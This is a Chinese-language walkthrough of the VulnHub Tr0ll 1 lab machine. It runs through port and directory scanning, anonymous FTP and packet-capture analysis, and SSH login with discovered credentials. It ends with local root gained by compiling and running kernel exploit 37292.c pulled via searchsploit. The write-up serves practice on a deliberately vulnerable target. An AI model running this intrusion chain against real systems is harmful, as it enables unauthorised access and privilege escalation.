4-vulnhub Tr0ll
下载地址为:https://www.vulnhub.com/entry/tr0ll-1,100/
本次的靶机ip为192.168.3.17(桥接模式自动获取)
目标:根目录并从/ root目录获取Proof.txt。
一、信息搜集
1.扫描目标ip
这里使用netdiscover: netdiscover -i eth0
2.扫描端口
nmap -p 1-65535 -sV 192.168.3.17 Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-08 22:26 CST Nmap scan report for 192.168.3.17 Host is up (0.0016s latency). Not shown: 65532 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.2 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
3.扫描目录
使用命令:dirb http://192.168.3.17/
---- Scanning URL: http://192.168.3.17/ ----
- http://192.168.3.17/index.html (CODE:200|SIZE:36)
- http://192.168.3.17/robots.txt (CODE:200|SIZE:31)
==> DIRECTORY: http://192.168.3.17/secret/ - http://192.168.3.17/server-status (CODE:403|SIZE:292)
---- Entering directory: http://192.168.3.17/secret/ ---- - http://192.168.3.17/secret/index.html (CODE:200|SIZE:37)
4.收集信息
Web 服务器 Apache 2.4.7 操作系统 Ubuntu
二、getshell
1.访问首页
2.分析流量
这里先使用隐写工具来一波,没什么用,因为之前信息搜集了开放的端口 我们可以从ftp进行下手:
访问:ftp://192.168.3.17/
发现有一个似乎是流量包的文件,进行查看(这里使用wireshark来分析)
发现分析:ftp传输发生的,而且被抓取对象也使用了匿名登录,secret_stuff.txt文件被上传,内容:Well, well, well, aren't you just a clever little devil, you almost found the sup3rs3cr3tdirlol :-P Sucks, you were so close... gotta TRY HARDER!
3.找出目录
这里试了一下是否是密码 未果,可能sup3rs3cr3tdirlol是一个目录 进行尝试访问:http://192.168.3.17/sup3rs3cr3tdirlol/
成功!
发现一个文件进行下载 成功之后检测一下他的类型:
现传入到kali:scp /Users/ice/Downloads/roflmao root@192.168.3.12:/
输入file roflmao
进行检查:
roflmao: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=5e14420eaa59e599c2f508490483d959f3d2cf4f, not stripped
输入命令,查看内容:strings roflmao
4.进行分析
发现里面有一个地址0x0856BF
这里让我们继续 可能是继续访问他:
访问:http://192.168.3.17/0x0856BF/
5.发现两个文件
http://192.168.3.17/0x0856BF/good_luck/which_one_lol.txt
http://192.168.3.17/0x0856BF/this_folder_contains_the_password/
在第一个里面是用户文件 第二个里面发现有一个pass文件 可以进行尝试九头蛇爆破 结果没成功可能是密码错误 这里有一个坑,密码应该是Pass.txt 所以最后出来的用户名和密码为:
ssh overflow@192.168.3.17 Pass.txt
三、提权
1.进入Python交换式Shell
(执行shell获取交互式命令,由于我们获取的shell并不是一个具有完整交互的shell,对于已经安装了python的系统,我们可以使用python提供的pty模块,只需要一行脚本就可以创建一个原生的终端,命令如下:$ python -c 'import pty;pty.spawn("/bin/bash")';
2.查看内核版本
uname -a
Linux troll 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 i686 i686 i686 GNU/Linux
靶机正在运行Ubuntu 14.04和3.13内核这里可进行本地提权:
3.进行脚本搜索、下载
使用msf进行搜索:searchsploit Ubuntu 14.04
4.进行下载利用
searchsploit -m 37292.c
scp 37292.c overflow@192.168.3.17:/tmp
5.编译、执行
进行编译:gcc 37292.c -o ice
执行
成功提权!!!